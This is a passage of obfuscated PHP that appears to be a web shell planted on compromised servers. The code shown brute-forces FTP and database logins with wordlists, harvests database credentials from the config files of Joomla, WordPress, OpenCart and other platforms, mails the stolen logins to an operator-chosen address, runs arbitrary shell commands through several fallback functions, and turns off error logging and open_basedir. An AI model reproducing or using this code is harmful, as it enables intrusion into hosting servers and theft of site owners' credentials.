\xa"; } else { if (!@isset($stop)) { $stop = 0; } if ($cpservice == "FTP" && $bftp && !$stop) { $test = z3h($cphost, $user, $pass, 21, 3); if ($test == "failed") { $stop = 1; } elseif ($test == "valid") { $found++; $tmp = "host: {$cphost}\xd\xa"; $tmp .= "user: {$user}
\xa"; $tmp .= "pass: {$pass}\xd\xa"; $tmp .= "service: {$cpservice}\xd
\xd
"; echo $tmp; $log .= $tmp; } } else { if (z4u($cphost, $user, $pass, '', $cpservice) == "valid") { $found++; $tmp = "host: {$cphost}\xd
"; $tmp .= "user: {$user}
\xa"; $tmp .= "pass: {$pass}
\xa"; $tmp .= "service: {$cpservice}\xd
\xd
"; echo $tmp; $log .= $tmp; } } } } } } } if ($cp_log == "1" && $found > 0 && $bmail) { @mail($cp_email, "{$cpservice}|{$cphost}", $log); } echo z5q() . z7u() . z7g() . z10w() . z6d(); } $arr_cfgs = array('' => "Select Software", "joomla" => "Joomla", "opencart" => "Opencart", "osc" => "Oscommerce", "pinnaclecart" => "Pinnaclecart", "squirrelcart" => "Squirrelcart", "wordpress" => "Wordpress", "xcart" => "X-cart", "zencart" => "Zen-cart", "all" => "All of above"); if (@isset($sqlfind) && $sqlfind && @isset($dvdefined) && !@empty($dvdefined) && @isset($dvpasswd) && !@empty($dvpasswd)) { $dvcfgs = "nVrkA0mFRDYCHunZ3cN9mLz5pNShsm0r8L4drmb0FTMSPnfIqA4j+Uq6gfLYuldrtsMMNTgK5UoZ3ViSZ5jne7teFyngMstdNqjRBr1NSDZgOnhkT05Hm25ikOaooEva9Wc965VdcbUYpnqs8xq5VDaKeBpRkS1VAxaLTKOr899pfM1pm/v7Rdctk4H0A4bXSxn5Lup5HAdjjl1EzocQXar6WsYumziDYD/EOBgmBiNVl/+kGwfPs64vQfzVuttfcY7tizzenPmMJgE8BGj2AZuXWtxnl3UO4CAPBOdtwkrv+PwMsYhffkEyh17eC3BufrqDkWAQhECUhs8dnp1R0g5/ByuJMebTOe9qwpDDh5goXgYhtjTthSEu4XShBdKNHg+ve/4/QhiJb0hSq8ezOZHCmW1PZ/0gyrywZx2aucGJeCZx3mxnfjiKAGHcnJaiFDV09dXZRuvfGe6SGiPq84bErZThDHORRs5Fz8NivUxj9m+WW7QRtak8EOUiIcTlbPIP85XIWob21V3v83fAAOAr9oJUJJ8gpdfqOLIyJyfa5Kvas2O1DHnvqoS6GsEGGrfnlXHoTeiw47nGeR4SoC7BFPu0hM3hnC4QPR8jrI7D5xYYO3wzK4uhJU4f5Ot8GuqNTsjE1LTyuBqJbeY4I5tcmQLsFYmqyGEQXP4NDExH7OlBMKSlpVkMEeLtouWDMdeAhiYiyWM20jy2VJi5xiQevlBfG/briKFxmCwNdmF2JexxL6qlRGn+Rdx9VYGFot2rxR7y2JTeViten/QNci1L4xAWoHaT1EMCd0zxP/ZYRcBgvzt4326NG1WBspNY6SeSnbBQvPoMcrnOjXHrARy1NyzAUHGhtWeBoFAlShuSA2c4cqGEQTrs1PPKxpTbBacuNLMmm+wvMNvBhdt2HTfZTjdYyEn0qEfOVPTWb8LWPKWxA/zIJ5OYeVH69g0b4CPNknHes4yNY6D7RxK905EY0DMMI1h8HY1n7r7ZvWd84O3VBf904vQUILRA/vhyRb7oKUHttyCruZoG4lgAQGg78PHaYugtc9SFu7Pq41Cn"; $ddcfgs = zrc4::zdec(@md5($dvpasswd), @base64_decode($dvcfgs)); if ($dvdefined == "all") { $arr_mass = array(); $arr_mass_paths = array(); foreach ($arr_cfgs as $tcfg => $tsoft) { if ($tcfg != '' && $tcfg != "all") { $tddcfg = @explode("|" . $tcfg . "|", $ddcfgs); $tddcfg = @substr($tddcfg[1], 0, @strpos($tddcfg[1], "|")); @(list($tdvuser, $tdtuser, $tdvpass, $tdtpass, $tdvbase, $tdtbase, $tdvhost, $tdthost, $tdvfiles, ) = @explode(",", $tddcfg)); $arr_mass[$tsoft] = array($tdvuser, $tdtuser, $tdvpass, $tdtpass, $tdvbase, $tdtbase, $tdvhost, $tdthost); $tefiles = @explode(";", $tdvfiles); foreach ($tefiles as $tefile) { $tefile = @trim($tefile); if (!@empty($tefile) && !@in_array($tefile, $arr_mass_paths)) { $arr_mass_paths[] = $tefile; } } } } } else { if (@strpos($ddcfgs, "|" . $dvdefined . "|") !== false) { $ddcfg = @explode("|" . $dvdefined . "|", $ddcfgs); $ddcfg = @substr($ddcfg[1], 0, @strpos($ddcfg[1], "|")); @(list($dvuser, $dtuser, $dvpass, $dtpass, $dvbase, $dtbase, $dvhost, $dthost, $dvfiles, ) = @explode(",", $ddcfg)); } } } echo z2b(array(z9s("315"), z9s("337")), "46"); echo z9m(2) . z7p() . z7k('', "4") . z6d() . z9m("2") . z7z() . z9b("sqlfind", "1") . z9b("act", "tools") . z9b("d") . z7i(z5t(z9s("316")) . z9j(z5u("dvuser", '', "5") . ":" . z4a("dtuser", $arr_vars, "4", 1) . z9c() . z9s("328"))) . z7i(z5t(z9s("317")) . z9j(z5u("dvpass", '', "5") . ":" . z4a("dtpass", $arr_vars, "4", 1) . z9c() . z9s("328"))) . z7i(z5t(z9s("318")) . z9j(z5u("dvbase", '', "5") . ":" . z4a("dtbase", $arr_vars, "4", 1) . z9c() . z9s("329"))) . z7i(z5t(z9s("319")) . z9j(z5u("dvhost", '', "5") . ":" . z4a("dthost", $arr_vars, "4", 1) . z9c() . z9s("329"))) . z7i(z5t(z9s("320")) . z9j(z4a("dvdefined", $arr_cfgs, "5", 1) . ":" . z5u("dvpasswd", '', "4") . z9c() . "anti-lamerz :)")) . z7i(z5t(z9s("321")) . z9j(z5u("dvfiles", '', "5") . ":" . z4a("dvfind", $arr_dvfind, "4", 1) . ":" . z4a("dtrecursive", $rec_arr, "1", 1))) . z7i(z5t(z9s("322")) . z9j(z4a("dsfunc", $arr_sfuncs, "1", 1) . ":" . z5u("dvdir", $d, "2"))) . ($bmail ? z7i(z5t(z9s("302")) . z9j(z5u("dv_email", '', "2") . z9g("dv_log"))) : '') . z7i(z5t(z9c()) . z9j(z8v(z9s("323"), "7") . z9c() . z5y("dvsqltest", z9s("324"), "dvsqltest"))) . z9z() . z10w() . z6d() . z7g() . z7k('', "46") . z6d() . z9m("2") . z7z() . z9b("startbrute", "1") . z9b("act", "tools") . z9b("d") . z7i(z5t(z9s("338")) . z9j(z5u("brh", '', "4") . ":" . z5u("brp", '', "6") . ":" . z4a("bservice", $available_arr, "4", 1))) . z7i(z5t(z9s("339")) . z9j(z5u("bru", '', "4") . ":" . z5u("brdb", '', "5"))) . z7i(z5t(z9s("340")) . z9j(z9h("wordlist", "2"))) . z7i(z5t(z9s("341")) . z9j(z4a("brm", $brute_type, "2", 1))) . z7i(z5t(z9s("342")) . z9j(z5y("brtest1", "user:resu", "brtest1") . z9c(1) . z5y("brtest2", "user:user1", "brtest2") . z9c(1) . z5y("brtest3", "user:user123", "brtest3"))) . z7i(z5t(z9c()) . z9j(z5y("brtest4", "Transform password to p@55w0rd", "brtest4"))) . ($bmail ? z7i(z5t(z9s("302")) . z9j(z6i("brute_email", $brute_email, "2") . z9g("brute_log"))) : '') . z7i(z5t(z9c()) . z9j(z8v(z9s("346"), "7"))) . z9z() . z10w() . z6d() . z7g() . z7u() . z10w(); if (@isset($startbrute) && $startbrute) { $stop = 0; echo z2b(z9s("347", $bservice, 1)) . z6d(); echo z9m("2") . z7p() . z6w() . z5w('', "1"); z5p(); $con = true; $show = 0; $log = ''; if ($bservice == "FTP") { $brp = @preg_match("/^[0-9]{1,5}$/", $brp) ? $brp : "21"; } elseif ($bservice == "MySQL") { $brp = @preg_match("/^[0-9]{1,5}$/", $brp) ? $brp : "3306"; } if ($brm == "1" || $brm == "3") { $dictionary = array(); $list = @fopen($_FILES["wordlist"]["tmp_name"], "r"); if (@is_resource($list)) { while (!@feof($list)) { $dictionary[] = @trim(@fgets($list)); } @fclose($list); } $dictionary = @array_unique($dictionary); } if ($bservice == "FTP" && $bftp) { $time = 3; $success = 0; $count = 0; if (!@empty($bru) && !$stop) { $test = z2t($brh, $brp, $time, $brtest1, $brtest2, $brtest3, $brtest4, $bru); if (!$test) { $stop = 1; } z2w($test[0], $test[1], $test[2]); } if (($brm == "2" || $brm == "3") && !$stop) { foreach ($users as $user) { $test = z2t($brh, $brp, $time, $brtest1, $brtest2, $brtest3, $brtest4, $user); if (!$test) { $stop = 1; break; } z2w($test[0], $test[1], $test[2]); if ($brm == "3") { foreach ($dictionary as $passwd) { $test = z2t($brh, $brp, $time, $brtest1, $brtest2, $brtest3, $brtest4, $user, $passwd); z2w($test[0], $test[1], $test[2]); } } } } else { if ($brm == "1" && !@empty($bru) && !$stop) { foreach ($dictionary as $passwd) { $test = z2t($brh, $brp, $time, $brtest1, $brtest2, $brtest3, $brtest4, $bru, $passwd); if (!$test) { $stop = 1; break; } z2w($test[0], $test[1], $test[2]); } } } echo "\xd\xa--------------------\xd\xa"; echo z9s("426", $count) . "\xd\xa"; echo z9s("427", $success) . "\xd\xa"; } elseif ($bmysql || $bmssql || $boracle || $bpostgres) { $success = 0; $count = 0; if (!@empty($bru)) { $test = z2e($brh, $brp, $bservice, $brtest1, $brtest2, $brtest3, $brtest4, $bru, NULL, !@empty($brdb) ? $brdb : ''); z2w($test[0], $test[1], $test[2]); } if ($brm == "2" || $brm == "3") { foreach ($users as $user) { $test = z2e($brh, $brp, $bservice, $brtest1, $brtest2, $brtest3, $brtest4, $user, NULL, !@empty($brdb) ? $brdb : ''); z2w($test[0], $test[1], $test[2]); if ($brm == "3") { foreach ($dictionary as $passwd) { $test = z2e($brh, $brp, $bservice, $brtest1, $brtest2, $brtest3, $brtest4, $user, $passwd, !@empty($brdb) ? $brdb : ''); z2w($test[0], $test[1], $test[2]); } } } } else { if ($brm == "1" && !@empty($bru)) { foreach ($dictionary as $passwd) { $test = z2e($brh, $brp, $bservice, $brtest1, $brtest2, $brtest3, $brtest4, $bru, $passwd, !@empty($brdb) ? $brdb : ''); z2w($test[0], $test[1], $test[2]); } } } echo "\xd\xa--------------------\xd\xa"; echo z9s("426", $count) . "
"; echo z9s("427", $success) . "
"; echo $log; } if ($brute_log == "1" && $success > 0) { @mail($brute_email, "{$bservice}|{$brh}:{$brp}", $log); } echo z5q() . z7u() . z7g() . z10w() . z6d(); } if (@isset($sqlfind) && $sqlfind && !@empty($dvuser) && !@empty($dvpass)) { echo z2b(z9s("330")) . z6d(); echo z9m("2") . z7p() . z6w() . z5w('', "1"); z5p(); $dpaths = $glob = array(); $farr = @explode(";", $dvfiles); if ($dvdefined == "all" && @isset($arr_mass_paths) && @is_array($arr_mass_paths) && @count($arr_mass_paths) > 0) { $farr = $arr_mass_paths; } $wildcards = @implode(";", $farr); switch ($dvfind) { case "dvdir": $dpaths[] = z1a($dvdir); break; case "docroot": $dpaths[] = z1a($wwwdir); break; case "passwd": $uarr = z6m(1); if (@count($uarr) > 0) { foreach ($uarr as $uk => $arr) { if (!@in_array($arr[1], $dpaths) && $arr[1] != "/" && !@preg_match("#^(/var/run|/var/log|/var/cache|/var/mail|/var/cache|/var/backup|/usr/games|/lib|/var/lib|/var/tmp|/tmp|/dev|/proc|/sbin|/usr/sbin|/usr/local/sbin|/bin|/usr/bin|/usr/local/bin)#", $arr[1]) && z4j($arr[1])) { $dpaths[] = z1a($arr[1]); } } } unset($uarr); break; default: break; } foreach ($dpaths as $dpath) { $tglob = z5s($dpath, $wildcards, $dtrecursive, $dsfunc == "find" ? true : false); if (@is_array($tglob) && @count($tglob) > 0) { foreach ($tglob as $tfile) { if (!@in_array($tfile, $glob)) { $glob[] = $tfile; } } } } $glob = @array_unique($glob); unset($dpaths); if (@count($glob) > 0) { $uhashes = array(); $log = ''; $line = @str_repeat("-", 100) . "
\xa"; $final_arr = array(); foreach ($glob as $file) { $tct = z9p($file); if (!@empty($tct)) { if ($dvdefined == "all" && @isset($arr_mass) && @is_array($arr_mass) && @count($arr_mass) > 0) { foreach ($arr_mass as $software => $defines) { $base = ''; $user = z4b($defines[1], $defines[0], $tct); $pass = z4b($defines[3], $defines[2], $tct); if (!@empty($defines[4])) { $base = z4b($defines[5], $defines[4], $tct); } if (!@empty($defines[6])) { $host = z4b($defines[7], $defines[6], $tct); } if (!@isset($host) || @empty($host)) { $host = "localhost"; } if (!@empty($host) && !@empty($user) && !@empty($pass)) { $add = 0; if (@isset($dvsqltest) && $dvsqltest) { if (z4u($host, $user, $pass, "3306", "MySQL") == "valid") { $add = 1; } } else { $add = 1; } if ($add) { $tmphash = @md5($host . $user . $pass . $base); if (!@in_array($tmphash, $uhashes)) { $uhashes[] = $tmphash; $tmp = $line; $tmp .= "{$file}\xd
"; $tmp .= "Software tested: {$software}
"; $tmp .= $line; $tmp .= "host: {$host}\xd\xa"; $tmp .= "user: {$user}\xd\xa"; $tmp .= "pass: {$pass}
\xa"; $tmp .= "database: {$base}\xd\xa
\xa"; echo $tmp; $log .= $tmp; if (!@isset($final_arr[$file])) { $final_arr[$file] = array($host, $user, $pass, $base, $software); } } break; } } } } else { $base = ''; $user = z4b($dtuser, $dvuser, $tct); $pass = z4b($dtpass, $dvpass, $tct); if (!@empty($dvbase)) { $base = z4b($dtbase, $dvbase, $tct); } if (!@empty($dvhost)) { $host = z4b($dthost, $dvhost, $tct); } if (!@isset($host) || @empty($host)) { $host = "localhost"; } if (!@empty($host) && !@empty($user) && !@empty($pass)) { $add = 0; if (@isset($dvsqltest) && $dvsqltest) { if (z4u($host, $user, $pass, "3306", "MySQL") == "valid") { $add = 1; } } else { $add = 1; } if ($add) { $tmphash = @md5($host . $user . $pass . $base); if (!@in_array($tmphash, $uhashes)) { $uhashes[] = $tmphash; $tmp = $line; $tmp .= "{$file}
\xa"; $tmp .= $line; $tmp .= "host: {$host}\xd\xa"; $tmp .= "user: {$user}\xd
"; $tmp .= "pass: {$pass}
"; $tmp .= "database: {$base}\xd
\xd
"; echo $tmp; $log .= $tmp; if (!@isset($final_arr[$file])) { $final_arr[$file] = array($host, $user, $pass, $base); } } } } } } unset($tct); } } echo z5q() . z7u() . z7g() . z10w() . z6d(); if ($dv_log == "1" && $log != '') { @mail($dv_email, "DBS|{$saddr}", $log); } } if (@isset($final_arr) && @count($final_arr) > 0) { echo z9m("2") . z7i(z9j(z9s("331"), "13", "2") . z9j(z9s("332"), "13") . z9j(z9s("333"), "13") . z9j(z9s("334"), "13") . z9j(z9s("335"), "13", "3")); $tr = 0; foreach ($final_arr as $file => $array) { echo z6g($tr % 2 ? "0" : "1"); $tc = @count($array); $dsoft = ''; if ($tc == 5) { $tc = 4; $dsoft = $array[$tc]; } for ($i = 0; $i < $tc; $i++) { echo z9j($array[$i], "14", $i == 0 ? "2" : ''); } echo z9j(z5c(array("act" => "sql", "d", "sql_refresh" => "1", "sql_server" => $array[0], "sql_user" => $array[1], "sql_pass" => $array[2], "sql_db" => $array[3], "sql_port" => "3306", "sql_engine" => "MySQL"), z8v(z9s("336"), "7") . ($dsoft != '' ? " (" . $dsoft . ")" : ''), 1), "14", "3"); echo z7u(); $tr++; } } } goto vLr7u; cSDDf: $_SESSION["color_skin"] = $color_skin; goto SLDpm; pkblD: function z2a($var, $f) { $val = ''; if (!empty($f)) { $reg = "/(['"]{1})" . $var . "\1[\s\t\r\n]*=>[\s\t\r\n]*(['"]{1})([^\2\s\t\r\n]+)\2/"; if (@preg_match($reg, $f, $m)) { $val = $m[3]; unset($m); } } unset($f); return $val; } goto XTFbc; U1DX9: function z0p($i, $t, $h, $a) { $r = z10e(z7i(z6x("<form method="POST" action="?" onsubmit="return chkfrm('" . $i . "','" . $t . "');">" . "<input type="hidden" name="" . $t . "" id="" . $t . "">" . $h . z8m(z9s("63"), "chkall('" . $i . "',true);", "7") . z8m(z9s("64"), "chkall('" . $i . "',false);", "7") . z8m(z9s("65"), "invall('" . $i . "');", "7") . z4a("action", $a, "4") . z8v(z9s("77"), "7") . "</form>", "11")), "2"); return "<script type="text/javascript">document.write('" . @str_replace("'", "\'", @str_replace("
", '', $r)) . "');</script>"; } goto wdOGZ; c6sfM: function z2t($host, $port, $time, $try1, $try2, $try3, $try4, $user, $pass = NULL) { $count = 0; $success = 0; $res = 0; $log = ''; if ($pass != NULL) { $count++; $res = z3h($host, $user, $pass, $port, $time); if ($res == "failed") { echo "Can't connect to {$host}:{$port}
\xa"; return false; } if ($res == "valid") { echo "[+] {$user}:{$pass} - success\xd
"; $log .= "ftp://{$host}:{$port} - {$user} {$pass}\xd
"; $success++; } if ($res != "valid" && $try4 == "1") { $count++; $res = z3h($host, $user, z9i($pass), $port, $time); if ($res == "valid") { echo "[+] {$user}:" . z9i($pass) . " - success
\xa"; $log .= "ftp://{$host}:{$port} - {$user} " . z9i($pass) . "\xd\xa"; $success++; } } } else { $count++; $res = z3h($host, $user, $user, $port, $time); if ($res == "failed") { echo "Can't connect to {$host}:{$port}
\xa"; return false; } if ($res == "valid") { echo "[+] {$user}:{$user} - success\xd
"; $log .= "ftp://{$host}:{$port} - {$user} {$user}\xd\xa"; $success++; } if ($res != "valid" && $try1 == "1") { $count++; $res = z3h($host, $user, @strrev($user), $port, $time); if ($res == "valid") { echo "[+] {$user}:" . @strrev($user) . " - success
"; $log .= "ftp://{$host}:{$port} - {$user} " . @strrev($user) . "
"; $success++; } } if ($res != "valid" && $try2 == "1") { $count++; $res = z3h($host, $user, $user . "1", $port, $time); if ($res == "valid") { echo "[+] {$user}:" . $user . "1 - success\xd
"; $log .= "ftp://{$host}:{$port} - {$user} " . $user . "1\xd
"; $success++; } } if ($res != "valid" && $try3 == "1") { $count++; $res = z3h($host, $user, $user . "123", $port, $time); if ($res == "valid") { echo "[+] {$user}:" . $user . "123 - success
\xa"; $log .= "ftp://{$host}:{$port} - {$user} " . $user . "123\xd
"; $success++; } } if ($res != "valid" && $try4 == "1") { $count++; $res = z3h($host, $user, z9i($user), $port, $time); if ($res == "valid") { echo "[+] {$user}:" . z9i($user) . " - success
\xa"; $log .= "ftp://{$host}:{$port} - {$user} " . z9i($user) . "\xd
"; $success++; } } } return array($count, $success, $log); } goto J2IJ5; PsY5v: function z5j() { return "</div>"; } goto BE1bq; r8WLV: if (@preg_match("/^win/i", $os)) { $win = 1; } else { $nix = 1; if (@preg_match("/linux/i", $os)) { $linux = 1; } } goto EXz0m; hAWDH: function init_buffer() { if (!@isset($_SESSION["buffer"])) { $_SESSION["buffer"] = array(); } } goto JqvWJ; XTFbc: function z2p($var, $f) { $val = ''; if (!empty($f)) { $reg = "/\[(['"]{1})" . $var . "\1\][\s\t\r\n]*=[\s\t\r\n]*(['"]{1})([^\2\s\t\r\n]+)\2/"; if (@preg_match($reg, $f, $m)) { $val = $m[3]; unset($m); } } unset($f); return $val; } goto llJlu; RYSgm: function z4v($i) { return @chunk_split(@base64_encode($i)); } goto Q9cE6; TTbNW: function z9q($i, $a, $c = '') { return z1f("submit", $i, $a, $c); } goto qnFk5; Oygv4: function z4m($c, $i) { $a = array("0" => array("container", "login", "footer", "headnfo", "ql", "nav", "sinfo", "tfilter", "tahex", "phpinfo"), "1" => array("list1", "list2"), "2" => array("lerror", "topcf", "topt", "topc", "tdfooter", "tdql", "tdsinfo", "tdlsh1", "tdlsh2", "tdlsf", "tdlsfn", "tdfilter", "tdhead", "tdph", "tdpl", "tdlbl", "thex1", "thex2", "thex3", "tdlsf1", "tdmail"), "3" => array("scroll", "selector", "divls", "dwidth", "barbg", "barfil"), "4" => array("size1", "size2", "size3", "size4", "size5", "size6", "size7", "size8", "size9", "size10"), "5" => array("links", "slinks", "button", "head", "ql1", "ql2", "but1", "but2", "but3", "fimg", "dirlist", "filelist", "ftactive", "ftcompat", "ftother", "qlback", "mbut1", "mbut2", "actbut"), "6" => array("console", "tgeneric", "tedit", "txmail", "tsql1", "tsql2", "tinj")); return @isset($a[$i][$c]) ? $a[$i][$c] : ''; } goto ztzx9; XaI0s: function z4o($p) { return @dechex(@bindec($p)); } goto qbOwf; ORtPB: function z4l($n, $c = '', $s = '') { return z4c("right", $n, $c, $s); } goto x5sXC; Z5JLV: function z8g($n, $v = NULL) { global ${$n}; return $v == NULL ? @isset(${$n}) && !@empty(${$n}) ? ${$n} : '' : z8x($v); } goto cvY6y; SO6vO: function z8d($o) { $o = z1i($o); if (@z4j($o)) { return z8s($o); } elseif (z4e($o)) { return @unlink($o); } else { return false; } } goto nIWfz; JGVDO: function z4q($t) { if (z4e($t) || z4j($t) || z3j($t) || z0n($t) || z0v($t) || z5o($t)) { return 1; } return 0; } goto zdLYu; ecxV4: function z5i($t) { return z6y($t, "rw"); } goto g2v73; Fgj6F: $a_buf = array("bcopy", "bcut"); goto Ajw35; M_Jow: function z7i($i, $c = '', $id = '') { return z7y($i, "middle", $c, $id); } goto lvMQe; zC5QJ: function z9t($c, $h = 1) { $r = ''; if (!empty($c)) { if (z7r("shell_exec")) { $r = @shell_exec($c); } elseif (z7r("system")) { @ob_start(); @system($c); $r = @ob_get_contents(); @ob_end_clean(); } elseif (z7r("passthru")) { @ob_start(); @passthru($c); $r = @ob_get_contents(); @ob_end_clean(); } elseif (z7r("exec")) { @exec($c, $r); $r = @join("
", $r); } elseif (z7r("popen") && @is_resource($f = @popen($c, "r"))) { if (z7r("fread") && z7r("feof")) { while (!@feof($f)) { $r .= @fread($f, 1024); } } elseif (z7r("fgets") && z7r("feof")) { while (!@feof($f)) { $r .= @fgets($f, 1024); } } @pclose($f); } elseif (z7r("proc_open") && @is_resource($f = @proc_open($c, array(1 => array("pipe", "w")), $p))) { if (z7r("fread") && z7r("feof")) { while (!@feof($p[1])) { $r .= @fread($p[1], 1024); } } elseif (z7r("fgets") && z7r("feof")) { while (!@feof($p[1])) { $r .= @fgets($p[1], 1024); } } @proc_close($f); } } else { $r = z6v($c); } return $h ? @htmlspecialchars($r) : $r; } goto qpEVy; ClY3w: function z1j($n, $a = array(), $c = '', $g = '', $t = "1", $s = '') { $r = "<select name="" . $n . """ . ($c != '' ? " class="" . z4m($c, "4") . """ : '') . ($s != '' ? @is_numeric($s) ? " " . z10t($s) : " " . $s : '') . ">" . "\xa"; if ($g != '') { global ${$n}; } foreach ($a as $k => $v) { $r .= "<option value="" . ($t == "1" ? $k : $v) . """ . ($g != '' && ($t == "1" ? $k : $v) == ${$n} ? " selected" : '') . ">" . ($t == "1" ? $v : $k) . "</option>" . "
"; } $r .= "</select>"; return $r; } goto jf7pw; gKcxD: function z8y($s, $d = ",", $e = """, $esc = "\") { $n = 0; $r = array(); $ed = "%#%#%E%S%C%A%P%E%D%#%#%"; $s = @str_replace($esc . $e, $ed, $s); $s = @preg_replace("/" . $e . "([^" . $e . "]+)" . $e . "(\s|\t)+" . $d . "/", $e . "\1" . $e . $d, $s); $s = @preg_replace("/" . $e . "([^" . $e . "]+)" . $e . $d . "(\s|\t)+/", $e . "\1" . $e . $d, $s); if (@strstr($s, $e)) { $a = @explode($e, $s); foreach ($a as $i) { if ($n++ % 2) { @array_push($r, @str_replace($ed, $e, @array_pop($r) . $i)); } else { $b = @explode($d, $i); @array_push($r, @str_replace($ed, $e, @array_pop($r) . @array_shift($b))); $r = @array_merge($r, $b); } } } return $r; } goto DKbqu; KsW3a: function z1n() { $distros = array("SUSE LINUX" => "SuSE-release;UnitedLinux-release", "Mandrake" => "mandrake-release", "MandrivaLinux" => "mandrake-release", "Gentoo" => "gentoo-release", "Fedora" => "fedora-release", "RedHat" => "redhat-release;redhat_version", "Slackware" => "slackware-release;slackware-version", "Trustix" => "trustix-release;trustix-version", "FreeEOS" => "eos-version", "Arch" => "arch-release", "Cobalt" => "cobalt-release", "LinuxFromScratch" => "lfs-release", "Rubix" => "rubix-version", "Ubuntu" => "lsb-release", "PLD" => "pld-release", "CentOS" => "redhat-release;redhat_version", "LFS" => "lfs-release;lfs_version", "HLFS" => "hlfs-release;hlfs_version", "Debian" => "debian_release;debian_version"); foreach ($distros as $k => $v) { $fs = @explode(";", $v); foreach ($fs as $f) { if (z4q("/etc/" . $f)) { $t = @str_replace("\xa", '', z9p("/etc/" . $f)); $t = @trim($t); if (@preg_match("/description="(.*)"/i", $t, $m)) { return $m[1]; } else { return $k . " ({$t})"; } } } } return "Unknown"; } goto jvQyF; CIS6G: @ob_start(); goto Lp0NC; s1PZu: $os = z9a(); goto r8WLV; jt1nc: function z5h($f) { $c = array("red", "white", "green"); return $c[z7n($f)]; } goto jfG3k; pMdd7: function z3p($t, $s = "/") { $e = z1k($t, $s); return @count($e) == 2 ? $e[0] : "./"; } goto vEqp2; ALAtQ: function z7j($i, $c = '', $s = '') { return z7t($c, $s) . $i . z10w(); } goto SpGmY; eSuMv: if ($act == "phpinfo") { $piarr = z0b(1); $h = 0; foreach ($piarr as $k => $v) { echo z2b(@strtoupper($k)); echo z9m("2"); $i = 0; foreach ($v as $a => $b) { if (@is_string($b)) { echo z9f(z9j($a, "14", "25") . z9j($b, "14"), $i % 2 ? "0" : "1"); $i++; } } $h++; echo z10w(); } } goto CLwkm; a1VLh: function z8n($i, $a = '', $c = '', $e = '') { global $use_images; return $use_images ? "<input type="image" src="?act=i&img=" . $i . ($e != '' ? "&exe=1" : '') . "" value="" . $a . "" alt="" . $a . """ . ($c != '' ? " class="" . z4m($c, "5") . """ : '') . ">" : z1s($i == "small_dir" || $i == "small_home" ? "d" : "f"); } goto kB3kd; HA2LV: function z1r($a, $s = " and", $f = array()) { if (!@is_array($a)) { $a = array(); } $r = ''; foreach ($a as $k => $v) { $p = ''; if (!@empty($f[$k])) { $p .= $f[$k] . "("; } $p .= "'" . addslashes($v) . "'"; if (!@empty($f[$k])) { $p .= ")"; } $r .= "`" . $k . "` = " . $p . $s; } $r = @substr($r, 0, @strlen($r) - @strlen($s)); return $r; } goto ychWN; hTpc_: function z5n() { return z9f(z9j(" ")); } goto pKtaA; Ix9f2: function z0f($k) { $cleanp = z0c(); if ($cleanp != z3d($k)) { $_SESSION[$k][] = $cleanp; } } goto cfg0g; pKtaA: function z6d() { return z10e(z5n()); } goto fkfMc; LBfQ1: function z2b($a, $s = '') { $r = ''; if (@is_array($a)) { for ($i = 0; $i < @count($a); $i++) { $r .= z7l($a[$i], "12", $i == 0 ? "2" . $s : ($i == @count($a) - 1 ? "3" . $s : $s)); } } else { $r = z7l($a, "12", "23" . $s); } return z10e(z7i($r), "3"); } goto XKrm6; eZm70: function z8z($t) { return z6y($t, "nr"); } goto ecxV4; FIQzC: function z0j($a, $d) { $z = new ZipArchive(); if ($z->open($a) === TRUE) { $z->extractTo($d); $z->close(); return TRUE; } else { return FALSE; } } goto d9LCS; S6J5Y: function z7k($c = '', $s = '') { return z5l('', $c, $s); } goto be60l; ezABl: function z6j() { $i = @ini_get("disable_functions"); if ($i != '') { $f = @array_map("trim", @explode(",", $i)); @sort($f); return $f; } else { return array(); } } goto Llr2C; rmdaf: function z5u($n, $v, $c = '', $o = '', $s = '') { global ${$n}; return "<input type="text" name="" . $n . "" value="" . (@isset(${$n}) && !@empty(${$n}) ? ${$n} : (@isset($_SESSION[$n]) ? $_SESSION[$n] : z8x($v))) . """ . ($c != '' ? " class="" . z4m($c, "4") . """ : '') . ($s != '' ? " " . (@is_numeric($s) ? z10t($s) : $s) : '') . ($o != '' ? z9k() : '') . ">"; } goto u69Ta; mebEJ: function z0o($k) { if (!@isset($_SESSION[$k]) || !@is_array($_SESSION[$k])) { z0u($k); $_SESSION[$k] = array(); $_SESSION[$k][] = array("act" => z7x("2", "default_act")); } } goto shOzY; f5K4K: function z6e($f, $t) { return "<label for="" . $f . "">" . $t . "</label>"; } goto nwK3r; BgZlS: function z9f($i, $c = '', $id = '') { return z7y($i, "top", $c, $id); } goto M_Jow; oupQq: $bmail = z7r("mail"); goto fB9Lq; Hz31L: function z0g($c, $s, $t) { return "<input type="submit" title="" . $t . "" value=" " style="border:1px solid " . z9w("topborder1") . "; background: " . $c . "; width: " . $s . "px; height: " . $s . "px; vertical-align: middle; vertical-align: inherit !important; cursor: pointer;">"; } goto O7cyY; SvJId: if (@isset($chmod_submit) && $chmod_submit && @isset($ctarget)) { if (@isset($chmod_val)) { @chmod($ctarget, @octdec($chmod_val)); } else { $octet = "0" . @base_convert(($chmod_o["r"] ? "1" : "0") . ($chmod_o["w"] ? "1" : "0") . ($chmod_o["x"] ? "1" : "0") . ($chmod_g["r"] ? "1" : "0") . ($chmod_g["w"] ? "1" : "0") . ($chmod_g["x"] ? "1" : "0") . ($chmod_w["r"] ? "1" : "0") . ($chmod_w["w"] ? "1" : "0") . ($chmod_w["x"] ? "1" : "0"), 2, 8); @chmod($ctarget, @octdec($octet)); } if (z7r("clearstatcache")) { @clearstatcache(); } } goto RFuAp; oBO9b: function z8l($a) { $b = @strtolower(@ini_get($a)); if ($b == "on" || $b == "yes" || $b == "true") { return "assert.active" !== $a; } elseif ($b == "stderr" || $b == "stdout") { return "display_errors" === $a; } else { return (bool) (int) $b; } } goto IVXf4; sjAc0: function z9b($n, $v = NULL) { global ${$n}; return "<input type="hidden" name="" . $n . "" value="" . ($v == NULL ? @isset(${$n}) && !@empty(${$n}) ? ${$n} : '' : z8x($v)) . """ . ">"; } goto s0k7N; sg7r_: if (@function_exists("ini_set")) { @ini_set("display_errors", 0); @ini_set("error_log", NULL); @ini_set("log_errors", 0); @ini_set("file_uploads", 1); @ini_set("assert.quiet_eval", 0); @ini_set("allow_url_fopen", 1); @ini_set("memory_limit", "256M"); @ini_set("upload_max_filesize", "256M"); @ini_set("register_globals", 0); @ini_set("magic_quotes_sybase", 0); @ini_set("magic_quotes_runtime", 0); @ini_set("magic_quotes_gpc", 0); @ini_set("open_basedir", NULL); } elseif (function_exists("ini_alter")) { @ini_alter("display_errors", 0); @ini_alter("error_log", NULL); @ini_alter("log_errors", 0); @ini_alter("file_uploads", 1); 